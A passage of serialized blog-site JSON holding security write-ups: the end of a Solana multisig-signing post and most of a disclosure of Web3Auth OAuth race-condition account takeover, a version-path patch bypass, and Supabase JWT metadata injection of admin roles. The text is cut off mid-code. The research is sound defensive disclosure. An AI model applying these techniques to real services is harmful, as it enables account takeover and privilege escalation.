hildren":69571},{"style":102},[69572],{"type":26,"value":3778},{"type":21,"tag":85,"props":69574,"children":69575},{"style":120},[69576],{"type":26,"value":69577}," message",{"type":21,"tag":85,"props":69579,"children":69580},{"style":169},[69581],{"type":26,"value":36303},{"type":21,"tag":85,"props":69583,"children":69584},{"class":87,"line":151},[69585,69590,69594,69599,69603,69607,69611,69615,69619,69623,69627,69631,69636,69640,69644,69649,69653,69657,69661],{"type":21,"tag":85,"props":69586,"children":69587},{"style":108},[69588],{"type":26,"value":69589},"        Message",{"type":21,"tag":85,"props":69591,"children":69592},{"style":169},[69593],{"type":26,"value":1087},{"type":21,"tag":85,"props":69595,"children":69596},{"style":1021},[69597],{"type":26,"value":69598},"new_with_nonce",{"type":21,"tag":85,"props":69600,"children":69601},{"style":114},[69602],{"type":26,"value":1439},{"type":21,"tag":85,"props":69604,"children":69605},{"style":1021},[69606],{"type":26,"value":4640},{"type":21,"tag":85,"props":69608,"children":69609},{"style":114},[69610],{"type":26,"value":3016},{"type":21,"tag":85,"props":69612,"children":69613},{"style":120},[69614],{"type":26,"value":44131},{"type":21,"tag":85,"props":69616,"children":69617},{"style":114},[69618],{"type":26,"value":23489},{"type":21,"tag":85,"props":69620,"children":69621},{"style":108},[69622],{"type":26,"value":42470},{"type":21,"tag":85,"props":69624,"children":69625},{"style":114},[69626],{"type":26,"value":1439},{"type":21,"tag":85,"props":69628,"children":69629},{"style":169},[69630],{"type":26,"value":2238},{"type":21,"tag":85,"props":69632,"children":69633},{"style":120},[69634],{"type":26,"value":69635},"evil_nonce_authority",{"type":21,"tag":85,"props":69637,"children":69638},{"style":114},[69639],{"type":26,"value":15596},{"type":21,"tag":85,"props":69641,"children":69642},{"style":169},[69643],{"type":26,"value":2238},{"type":21,"tag":85,"props":69645,"children":69646},{"style":120},[69647],{"type":26,"value":69648},"nonce_account",{"type":21,"tag":85,"props":69650,"children":69651},{"style":114},[69652],{"type":26,"value":256},{"type":21,"tag":85,"props":69654,"children":69655},{"style":169},[69656],{"type":26,"value":2238},{"type":21,"tag":85,"props":69658,"children":69659},{"style":120},[69660],{"type":26,"value":69635},{"type":21,"tag":85,"props":69662,"children":69663},{"style":114},[69664],{"type":26,"value":2485},{"type":21,"tag":85,"props":69666,"children":69667},{"class":87,"line":160},[69668,69672,69677],{"type":21,"tag":85,"props":69669,"children":69670},{"style":169},[69671],{"type":26,"value":3939},{"type":21,"tag":85,"props":69673,"children":69674},{"style":1021},[69675],{"type":26,"value":69676},"serialize",{"type":21,"tag":85,"props":69678,"children":69679},{"style":114},[69680],{"type":26,"value":4437},{"type":21,"tag":22,"props":69682,"children":69683},{},[69684,69686,69693],{"type":26,"value":69685},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":21,"tag":335,"props":69687,"children":69690},{"href":69688,"rel":69689},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[339],[69691],{"type":26,"value":69692},"logs the fee-payer here",{"type":26,"value":73},{"type":21,"tag":75,"props":69695,"children":69697},{"className":16935,"code":69696,"language":3918,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[69698],{"type":21,"tag":66,"props":69699,"children":69700},{"__ignoreMap":7},[69701,69760,69816],{"type":21,"tag":85,"props":69702,"children":69703},{"class":87,"line":88},[69704,69708,69713,69717,69721,69726,69730,69735,69739,69743,69747,69751,69756],{"type":21,"tag":85,"props":69705,"children":69706},{"style":102},[69707],{"type":26,"value":30129},{"type":21,"tag":85,"props":69709,"children":69710},{"style":1021},[69711],{"type":26,"value":69712}," print_config_show_authority",{"type":21,"tag":85,"props":69714,"children":69715},{"style":114},[69716],{"type":26,"value":1439},{"type":21,"tag":85,"props":69718,"children":69719},{"style":102},[69720],{"type":26,"value":10069},{"type":21,"tag":85,"props":69722,"children":69723},{"style":114},[69724],{"type":26,"value":69725}," PrintConfig",{"type":21,"tag":85,"props":69727,"children":69728},{"style":169},[69729],{"type":26,"value":3052},{"type":21,"tag":85,"props":69731,"children":69732},{"style":120},[69733],{"type":26,"value":69734}," print_config",{"type":21,"tag":85,"props":69736,"children":69737},{"style":114},[69738],{"type":26,"value":256},{"type":21,"tag":85,"props":69740,"children":69741},{"style":102},[69742],{"type":26,"value":10069},{"type":21,"tag":85,"props":69744,"children":69745},{"style":114},[69746],{"type":26,"value":21285},{"type":21,"tag":85,"props":69748,"children":69749},{"style":169},[69750],{"type":26,"value":3052},{"type":21,"tag":85,"props":69752,"children":69753},{"style":120},[69754],{"type":26,"value":69755}," authority",{"type":21,"tag":85,"props":69757,"children":69758},{"style":114},[69759],{"type":26,"value":15222},{"type":21,"tag":85,"props":69761,"children":69762},{"class":87,"line":98},[69763,69767,69771,69775,69780,69784,69788,69793,69797,69802,69806,69811],{"type":21,"tag":85,"props":69764,"children":69765},{"style":2885},[69766],{"type":26,"value":17411},{"type":21,"tag":85,"props":69768,"children":69769},{"style":120},[69770],{"type":26,"value":69734},{"type":21,"tag":85,"props":69772,"children":69773},{"style":114},[69774],{"type":26,"value":14175},{"type":21,"tag":85,"props":69776,"children":69777},{"style":120},[69778],{"type":26,"value":69779},"expert_mode",{"type":21,"tag":85,"props":69781,"children":69782},{"style":169},[69783],{"type":26,"value":24137},{"type":21,"tag":85,"props":69785,"children":69786},{"style":169},[69787],{"type":26,"value":13281},{"type":21,"tag":85,"props":69789,"children":69790},{"style":1021},[69791],{"type":26,"value":69792},"pubkeys_equal",{"type":21,"tag":85,"props":69794,"children":69795},{"style":114},[69796],{"type":26,"value":1439},{"type":21,"tag":85,"props":69798,"children":69799},{"style":120},[69800],{"type":26,"value":69801},"print_config",{"type":21,"tag":85,"props":69803,"children":69804},{"style":114},[69805],{"type":26,"value":14175},{"type":21,"tag":85,"props":69807,"children":69808},{"style":120},[69809],{"type":26,"value":69810},"signer_pubkey",{"type":21,"tag":85,"props":69812,"children":69813},{"style":114},[69814],{"type":26,"value":69815},", authority);\n",{"type":21,"tag":85,"props":69817,"children":69818},{"class":87,"line":151},[69819],{"type":21,"tag":85,"props":69820,"children":69821},{"style":114},[69822],{"type":26,"value":2671},{"type":21,"tag":22,"props":69824,"children":69825},{},[69826],{"type":26,"value":69827},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":21,"tag":22,"props":69829,"children":69830},{},[69831],{"type":26,"value":69832},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":21,"tag":22,"props":69834,"children":69835},{},[69836],{"type":26,"value":69837},"We can then use the following procedure.",{"type":21,"tag":841,"props":69839,"children":69840},{},[69841,69846,69851,69856,69861],{"type":21,"tag":845,"props":69842,"children":69843},{},[69844],{"type":26,"value":69845},"Ensure all signers have no durable nonce accounts.",{"type":21,"tag":845,"props":69847,"children":69848},{},[69849],{"type":26,"value":69850},"The first signer signs and submits the transaction.",{"type":21,"tag":845,"props":69852,"children":69853},{},[69854],{"type":26,"value":69855},"Wait two minutes for all recent blockhashes to expire.",{"type":21,"tag":845,"props":69857,"children":69858},{},[69859],{"type":26,"value":69860},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":21,"tag":845,"props":69862,"children":69863},{},[69864],{"type":26,"value":69865},"Repeat steps 2 to 4 for each signer",{"type":21,"tag":54,"props":69867,"children":69869},{"id":69868},"beyond",[69870],{"type":26,"value":69871},"Beyond",{"type":21,"tag":22,"props":69873,"children":69874},{},[69875],{"type":26,"value":69876},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":21,"tag":22,"props":69878,"children":69879},{},[69880,69882,69889],{"type":26,"value":69881},"For example, pcaversaccio wrote a tool to ",{"type":21,"tag":335,"props":69883,"children":69886},{"href":69884,"rel":69885},"https://github.com/pcaversaccio/safe-tx-hashes-util",[339],[69887],{"type":26,"value":69888},"validate Safe transaction hashes",{"type":26,"value":69890},". As the space matures, we hope more open source tooling will come to light.",{"type":21,"tag":18846,"props":69892,"children":69894},{"className":69893,"dataFootnotes":7},[18849],[69895,69900],{"type":21,"tag":54,"props":69896,"children":69898},{"className":69897,"id":15900},[18854],[69899],{"type":26,"value":18857},{"type":21,"tag":841,"props":69901,"children":69902},{},[69903],{"type":21,"tag":845,"props":69904,"children":69905},{"id":30810},[69906,69908,69916,69918],{"type":26,"value":69907},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":21,"tag":335,"props":69909,"children":69913},{"href":69910,"rel":69911,":style":69912},"https://twitter.com/PierreArowana",[339],"color: #B1D0EE; text-decoration: underline;",[69914],{"type":26,"value":69915},"@PierreArowana",{"type":26,"value":69917}," for pointing this out to me. ",{"type":21,"tag":335,"props":69919,"children":69921},{"href":30838,"ariaLabel":18960,"className":69920,"dataFootnoteBackref":7},[18962],[69922],{"type":26,"value":18965},{"type":21,"tag":3632,"props":69924,"children":69925},{},[69926],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":69928},[69929,69933,69934,69935],{"id":68125,"depth":98,"text":68128,"children":69930},[69931,69932],{"id":68136,"depth":151,"text":68139},{"id":68415,"depth":151,"text":68418},{"id":69136,"depth":98,"text":69139},{"id":69868,"depth":98,"text":69871},{"id":15900,"depth":98,"text":18857},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":69940,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69941,"description":69942,"date":69943,"author":69944,"image":69945,"isFeatured":16,"onBlogPage":16,"tags":69947,"body":69948,"_type":3642,"_id":71646,"_source":3644,"_file":71647,"_stem":71648,"_extension":3647},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[31646,31645],{"src":69946},"/posts/web2-in-web3/title.jpg",[32586],{"type":18,"children":69949,"toc":71628},[69950,69955,69960,69965,69991,69997,70002,70008,70029,70035,70040,70047,70060,70090,70096,70140,70147,70153,70186,70207,70215,70234,70241,70246,70252,70257,70262,70287,70292,70298,70304,70325,70331,70358,70386,70393,70398,70403,70748,70752,70774,70780,70801,70815,70828,70833,70849,70854,71583,71588,71593,71598,71610,71614,71619,71624],{"type":21,"tag":22,"props":69951,"children":69952},{},[69953],{"type":26,"value":69954},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":21,"tag":22,"props":69956,"children":69957},{},[69958],{"type":26,"value":69959},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":21,"tag":22,"props":69961,"children":69962},{},[69963],{"type":26,"value":69964},"In this article, we will discuss three cases we discovered:",{"type":21,"tag":841,"props":69966,"children":69967},{},[69968,69973,69986],{"type":21,"tag":845,"props":69969,"children":69970},{},[69971],{"type":26,"value":69972},"OAuth Logic Vulnerability on an Authentication Provider",{"type":21,"tag":845,"props":69974,"children":69975},{},[69976,69978,69984],{"type":26,"value":69977},"Supabase ",{"type":21,"tag":66,"props":69979,"children":69981},{"className":69980},[],[69982],{"type":26,"value":69983},"user_metadata",{"type":26,"value":69985}," misconfiguration",{"type":21,"tag":845,"props":69987,"children":69988},{},[69989],{"type":26,"value":69990},"OAuth abuse in localhost development environment",{"type":21,"tag":54,"props":69992,"children":69994},{"id":69993},"abusing-oauth-authentication-logic",[69995],{"type":26,"value":69996},"Abusing OAuth Authentication Logic",{"type":21,"tag":22,"props":69998,"children":69999},{},[70000],{"type":26,"value":70001},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":21,"tag":10022,"props":70003,"children":70005},{"id":70004},"web3auth-introduction",[70006],{"type":26,"value":70007},"Web3Auth Introduction",{"type":21,"tag":22,"props":70009,"children":70010},{},[70011,70018,70020,70027],{"type":21,"tag":335,"props":70012,"children":70015},{"href":70013,"rel":70014},"https://web3auth.io/",[339],[70016],{"type":26,"value":70017},"Web3Auth",{"type":26,"value":70019}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":21,"tag":335,"props":70021,"children":70024},{"href":70022,"rel":70023},"https://oauth.net/2/",[339],[70025],{"type":26,"value":70026},"OAuth2",{"type":26,"value":70028}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":21,"tag":10022,"props":70030,"children":70032},{"id":70031},"web3auth-authentication-flow",[70033],{"type":26,"value":70034},"Web3Auth Authentication flow",{"type":21,"tag":22,"props":70036,"children":70037},{},[70038],{"type":26,"value":70039},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":21,"tag":22,"props":70041,"children":70042},{},[70043],{"type":21,"tag":4681,"props":70044,"children":70046},{"alt":51034,"src":70045},"/posts/web2-in-web3/auth-flow.png",[],{"type":21,"tag":22,"props":70048,"children":70049},{},[70050,70052,70058],{"type":26,"value":70051},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":21,"tag":66,"props":70053,"children":70055},{"className":70054},[],[70056],{"type":26,"value":70057},"client_id",{"type":26,"value":70059},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":21,"tag":22,"props":70061,"children":70062},{},[70063,70065,70071,70073,70079,70081,70088],{"type":26,"value":70064},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":21,"tag":66,"props":70066,"children":70068},{"className":70067},[],[70069],{"type":26,"value":70070},"/start",{"type":26,"value":70072}," validates the ",{"type":21,"tag":66,"props":70074,"children":70076},{"className":70075},[],[70077],{"type":26,"value":70078},"redirect_url",{"type":26,"value":70080}," against the configured ",{"type":21,"tag":335,"props":70082,"children":70085},{"href":70083,"rel":70084},"https://web3auth.io/docs/dashboard-setup/whitelisting",[339],[70086],{"type":26,"value":70087},"whitelist",{"type":26,"value":70089}," to ensure it matches one of the allowed URLs.",{"type":21,"tag":10022,"props":70091,"children":70093},{"id":70092},"in-transit-cryptography",[70094],{"type":26,"value":70095},"In-transit Cryptography",{"type":21,"tag":22,"props":70097,"children":70098},{},[70099,70101,70108,70110,70116,70118,70124,70126,70131,70133,70138],{"type":26,"value":70100},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":21,"tag":335,"props":70102,"children":70105},{"href":70103,"rel":70104},"https://en.wikipedia.org/wiki/Key_(cryptography)",[339],[70106],{"type":26,"value":70107},"cryptographic key",{"type":26,"value":70109}," is derived from the ",{"type":21,"tag":66,"props":70111,"children":70113},{"className":70112},[],[70114],{"type":26,"value":70115},"sessionId",{"type":26,"value":70117},"  sent in the ",{"type":21,"tag":66,"props":70119,"children":70121},{"className":70120},[],[70122],{"type":26,"value":70123},"GET",{"type":26,"value":70125}," parameter to the ",{"type":21,"tag":66,"props":70127,"children":70129},{"className":70128},[],[70130],{"type":26,"value":70070},{"type":26,"value":70132},". Since the ",{"type":21,"tag":66,"props":70134,"children":70136},{"className":70135},[],[70137],{"type":26,"value":70115},{"type":26,"value":70139}," can be controlled, it allows us to send and receive data from the session server.",{"type":21,"tag":22,"props":70141,"children":70142},{},[70143],{"type":21,"tag":4681,"props":70144,"children":70146},{"alt":51034,"src":70145},"/posts/web2-in-web3/image-2.png",[],{"type":21,"tag":10022,"props":70148,"children":70150},{"id":70149},"race-condition",[70151],{"type":26,"value":70152},"Race Condition",{"type":21,"tag":22,"props":70154,"children":70155},{},[70156,70158,70163,70165,70171,70173,70178,70180,70185],{"type":26,"value":70157},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":21,"tag":66,"props":70159,"children":70161},{"className":70160},[],[70162],{"type":26,"value":70070},{"type":26,"value":70164}," and later used in the ",{"type":21,"tag":66,"props":70166,"children":70168},{"className":70167},[],[70169],{"type":26,"value":70170},"/end",{"type":26,"value":70172}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":21,"tag":66,"props":70174,"children":70176},{"className":70175},[],[70177],{"type":26,"value":70070},{"type":26,"value":70179},") but before  use (",{"type":21,"tag":66,"props":70181,"children":70183},{"className":70182},[],[70184],{"type":26,"value":70170},{"type":26,"value":21170},{"type":21,"tag":22,"props":70187,"children":70188},{},[70189,70191,70198,70200,70205],{"type":26,"value":70190},"To exploit this ",{"type":21,"tag":335,"props":70192,"children":70195},{"href":70193,"rel":70194},"https://portswigger.net/web-security/race-conditions",[339],[70196],{"type":26,"value":70197},"race condition",{"type":26,"value":70199},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":21,"tag":66,"props":70201,"children":70203},{"className":70202},[],[70204],{"type":26,"value":70115},{"type":26,"value":70206}," but with modified malicious parameters.",{"type":21,"tag":22,"props":70208,"children":70209},{},[70210],{"type":21,"tag":873,"props":70211,"children":70212},{},[70213],{"type":26,"value":70214},"What can be modified to achieve something impactful?",{"type":21,"tag":22,"props":70216,"children":70217},{},[70218,70220,70226,70228,70233],{"type":26,"value":70219},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":21,"tag":66,"props":70221,"children":70223},{"className":70222},[],[70224],{"type":26,"value":70225},"redirect_uri",{"type":26,"value":70227}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":21,"tag":66,"props":70229,"children":70231},{"className":70230},[],[70232],{"type":26,"value":70057},{"type":26,"value":73},{"type":21,"tag":22,"props":70235,"children":70236},{},[70237],{"type":21,"tag":4681,"props":70238,"children":70240},{"alt":51034,"src":70239},"/posts/web2-in-web3/image-3.png",[],{"type":21,"tag":22,"props":70242,"children":70243},{},[70244],{"type":26,"value":70245},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":21,"tag":10022,"props":70247,"children":70249},{"id":70248},"patch-bypass",[70250],{"type":26,"value":70251},"Patch & Bypass",{"type":21,"tag":22,"props":70253,"children":70254},{},[70255],{"type":26,"value":70256},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":21,"tag":22,"props":70258,"children":70259},{},[70260],{"type":26,"value":70261},"To bypass the fix we were able to change the version in the URL:",{"type":21,"tag":17108,"props":70263,"children":70264},{},[70265,70276],{"type":21,"tag":845,"props":70266,"children":70267},{},[70268,70274],{"type":21,"tag":66,"props":70269,"children":70271},{"className":70270},[],[70272],{"type":26,"value":70273},"https://auth.web3auth.io/v8/start",{"type":26,"value":70275}," (latest version)",{"type":21,"tag":845,"props":70277,"children":70278},{},[70279,70285],{"type":21,"tag":66,"props":70280,"children":70282},{"className":70281},[],[70283],{"type":26,"value":70284},"https://auth.web3auth.io/v6/start",{"type":26,"value":70286}," (bypass)",{"type":21,"tag":22,"props":70288,"children":70289},{},[70290],{"type":26,"value":70291},"We reported this issue, and it was addressed just as quickly!",{"type":21,"tag":54,"props":70293,"children":70295},{"id":70294},"supabase-metadata-manipulation",[70296],{"type":26,"value":70297},"Supabase metadata manipulation",{"type":21,"tag":10022,"props":70299,"children":70301},{"id":70300},"supabase-authentication-flow",[70302],{"type":26,"value":70303},"Supabase Authentication flow",{"type":21,"tag":22,"props":70305,"children":70306},{},[70307,70314,70316,70323],{"type":21,"tag":335,"props":70308,"children":70311},{"href":70309,"rel":70310},"https://supabase.com/docs/guides/auth",[339],[70312],{"type":26,"value":70313},"Supabase",{"type":26,"value":70315}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":21,"tag":335,"props":70317,"children":70320},{"href":70318,"rel":70319},"https://jwt.io/",[339],[70321],{"type":26,"value":70322},"JWT",{"type":26,"value":70324}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":21,"tag":10022,"props":70326,"children":70328},{"id":70327},"jwt-verification",[70329],{"type":26,"value":70330},"JWT verification",{"type":21,"tag":22,"props":70332,"children":70333},{},[70334,70336,70341,70342,70348,70350,70356],{"type":26,"value":70335},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":21,"tag":66,"props":70337,"children":70339},{"className":70338},[],[70340],{"type":26,"value":69983},{"type":26,"value":11408},{"type":21,"tag":66,"props":70343,"children":70345},{"className":70344},[],[70346],{"type":26,"value":70347},"identity_data",{"type":26,"value":70349},", in a signup request by manipulating the input inside the ",{"type":21,"tag":66,"props":70351,"children":70353},{"className":70352},[],[70354],{"type":26,"value":70355},"\"data\": {}",{"type":26,"value":70357}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":21,"tag":22,"props":70359,"children":70360},{},[70361,70363,70369,70370,70376,70378,70384],{"type":26,"value":70362},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":21,"tag":66,"props":70364,"children":70366},{"className":70365},[],[70367],{"type":26,"value":70368},"\"role\": \"admin\"",{"type":26,"value":13551},{"type":21,"tag":66,"props":70371,"children":70373},{"className":70372},[],[70374],{"type":26,"value":70375},"\"email_verified\": true",{"type":26,"value":70377},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":21,"tag":66,"props":70379,"children":70381},{"className":70380},[],[70382],{"type":26,"value":70383},"\"test\": \"test\"",{"type":26,"value":70385},", enabling us to inject arbitrary data into the final JWT token.",{"type":21,"tag":22,"props":70387,"children":70388},{},[70389],{"type":21,"tag":4681,"props":70390,"children":70392},{"alt":51034,"src":70391},"/posts/web2-in-web3/image-4.png",[],{"type":21,"tag":22,"props":70394,"children":70395},{},[70396],{"type":26,"value":70397},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":21,"tag":22,"props":70399,"children":70400},{},[70401],{"type":26,"value":70402},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":21,"tag":75,"props":70404,"children":70406},{"className":31808,"code":70405,"language":31810,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[70407],{"type":21,"tag":66,"props":70408,"children":70409},{"__ignoreMap":7},[70410,70435,70447,70516,70565,70613,70658,70681,70718,70734,70741],{"type":21,"tag":85,"props":70411,"children":70412},{"class":87,"line":88},[70413,70417,70422,70426,70431],{"type":21,"tag":85,"props":70414,"children":70415},{"style":102},[70416],{"type":26,"value":31822},{"type":21,"tag":85,"props":70418,"children":70419},{"style":1021},[70420],{"type":26,"value":70421}," parseSupaBase",{"type":21,"tag":85,"props":70423,"children":70424},{"style":114},[70425],{"type":26,"value":1439},{"type":21,"tag":85,"props":70427,"children":70428},{"style":120},[70429],{"type":26,"value":70430},"token",{"type":21,"tag":85,"props":70432,"children":70433},{"style":114},[70434],{"type":26,"value":15222},{"type":21,"tag":85,"props":70436,"children":70437},{"class":87,"line":98},[70438,70443],{"type":21,"tag":85,"props":70439,"children":70440},{"style":2885},[70441],{"type":26,"value":70442},"    try",{"type":21,"tag":85,"props":70444,"children":70445},{"style":114},[70446],{"type":26,"value":148},{"type":21,"tag":85,"props":70448,"children":70449},{"class":87,"line":151},[70450,70454,70458,70463,70467,70472,70476,70481,70485,70489,70494,70498,70503,70507,70512],{"type":21,"tag":85,"props":70451,"children":70452},{"style":102},[70453],{"type":26,"value":33347},{"type":21,"tag":85,"props":70455,"children":70456},{"style":114},[70457],{"type":26,"value":23461},{"type":21,"tag":85,"props":70459,"children":70460},{"style":120},[70461],{"type":26,"value":70462},"header",{"type":21,"tag":85,"props":70464,"children":70465},{"style":114},[70466],{"type":26,"value":256},{"type":21,"tag":85,"props":70468,"children":70469},{"style":120},[70470],{"type":26,"value":70471},"payload",{"type":21,"tag":85,"props":70473,"children":70474},{"style":114},[70475],{"type":26,"value":256},{"type":21,"tag":85,"props":70477,"children":70478},{"style":120},[70479],{"type":26,"value":70480},"signature",{"type":21,"tag":85,"props":70482,"children":70483},{"style":114},[70484],{"type":26,"value":3026},{"type":21,"tag":85,"props":70486,"children":70487},{"style":169},[70488],{"type":26,"value":741},{"type":21,"tag":85,"props":70490,"children":70491},{"style":120},[70492],{"type":26,"value":70493}," token",{"type":21,"tag":85,"props":70495,"children":70496},{"style":114},[70497],{"type":26,"value":73},{"type":21,"tag":85,"props":70499,"children":70500},{"style":1021},[70501],{"type":26,"value":70502},"split",{"type":21,"tag":85,"props":70504,"children":70505},{"style":114},[70506],{"type":26,"value":1439},{"type":21,"tag":85,"props":70508,"children":70509},{"style":5026},[70510],{"type":26,"value":70511},"'.'",{"type":21,"tag":85,"props":70513,"children":70514},{"style":114},[70515],{"type":26,"value":777},{"type":21,"tag":85,"props":70517,"children":70518},{"class":87,"line":160},[70519,70523,70528,70532,70536,70540,70544,70548,70553,70557,70561],{"type":21,"tag":85,"props":70520,"children":70521},{"style":102},[70522],{"type":26,"value":33347},{"type":21,"tag":85,"props":70524,"children":70525},{"style":120},[70526],{"type":26,"value":70527}," decodedHeader",{"type":21,"tag":85,"props":70529,"children":70530},{"style":169},[70531],{"type":26,"value":1941},{"type":21,"tag":85,"props":70533,"children":70534},{"style":120},[70535],{"type":26,"value":37976},{"type":21,"tag":85,"props":70537,"children":70538},{"style":114},[70539],{"type":26,"value":73},{"type":21,"tag":85,"props":70541,"children":70542},{"style":1021},[70543],{"type":26,"value":39660},{"type":21,"tag":85,"props":70545,"children":70546},{"style":114},[70547],{"type":26,"value":1439},{"type":21,"tag":85,"props":70549,"children":70550},{"style":1021},[70551],{"type":26,"value":70552},"atob",{"type":21,"tag":85,"props":70554,"children":70555},{"style":114},[70556],{"type":26,"value":1439},{"type":21,"tag":85,"props":70558,"children":70559},{"style":120},[70560],{"type":26,"value":70462},{"type":21,"tag":85,"props":70562,"children":70563},{"style":114},[70564],{"type":26,"value":1569},{"type":21,"tag":85,"props":70566,"children":70567},{"class":87,"line":185},[70568,70572,70577,70581,70585,70589,70593,70597,70601,70605,70609],{"type":21,"tag":85,"props":70569,"children":70570},{"style":102},[70571],{"type":26,"value":33347},{"type":21,"tag":85,"props":70573,"children":70574},{"style":120},[70575],{"type":26,"value":70576}," decodedPayload",{"type":21,"tag":85,"props":70578,"children":70579},{"style":169},[70580],{"type":26,"value":1941},{"type":21,"tag":85,"props":70582,"children":70583},{"style":120},[70584],{"type":26,"value":37976},{"type":21,"tag":85,"props":70586,"children":70587},{"style":114},[70588],{"type":26,"value":73},{"type":21,"tag":85,"props":70590,"children":70591},{"style":1021},[70592],{"type":26,"value":39660},{"type":21,"tag":85,"props":70594,"children":70595},{"style":114},[70596],{"type":26,"value":1439},{"type":21,"tag":85,"props":70598,"children":70599},{"style":1021},[70600],{"type":26,"value":70552},{"type":21,"tag":85,"props":70602,"children":70603},{"style":114},[70604],{"type":26,"value":1439},{"type":21,"tag":85,"props":70606,"children":70607},{"style":120},[70608],{"type":26,"value":70471},{"type":21,"tag":85,"props":70610,"children":70611},{"style":114},[70612],{"type":26,"value":1569},{"type":21,"tag":85,"props":70614,"children":70615},{"class":87,"line":501},[70616,70620,70624,70629,70633,70637,70642,70646,70650,70654],{"type":21,"tag":85,"props":70617,"children":70618},{"style":2885},[70619],{"type":26,"value":16164},{"type":21,"tag":85,"props":70621,"children":70622},{"style":114},[70623],{"type":26,"value":9999},{"type":21,"tag":85,"props":70625,"children":70626},{"style":120},[70627],{"type":26,"value":70628},"header:",{"type":21,"tag":85,"props":70630,"children":70631},{"style":120},[70632],{"type":26,"value":70527},{"type":21,"tag":85,"props":70634,"children":70635},{"style":114},[70636],{"type":26,"value":256},{"type":21,"tag":85,"props":70638,"children":70639},{"style":120},[70640],{"type":26,"value":70641},"payload:",{"type":21,"tag":85,"props":70643,"children":70644},{"style":120},[70645],{"type":26,"value":70576},{"type":21,"tag":85,"props":70647,"children":70648},{"style":114},[70649],{"type":26,"value":256},{"type":21,"tag":85,"props":70651,"children":70652},{"style":120},[70653],{"type":26,"value":70480},{"type":21,"tag":85,"props":70655,"children":70656},{"style":114},[70657],{"type":26,"value":18723},{"type":21,"tag":85,"props":70659,"children":70660},{"class":87,"line":697},[70661,70665,70669,70673,70677],{"type":21,"tag":85,"props":70662,"children":70663},{"style":114},[70664],{"type":26,"value":16199},{"type":21,"tag":85,"props":70666,"children":70667},{"style":2885},[70668],{"type":26,"value":48866},{"type":21,"tag":85,"props":70670,"children":70671},{"style":114},[70672],{"type":26,"value":717},{"type":21,"tag":85,"props":70674,"children":70675},{"style":120},[70676],{"type":26,"value":1528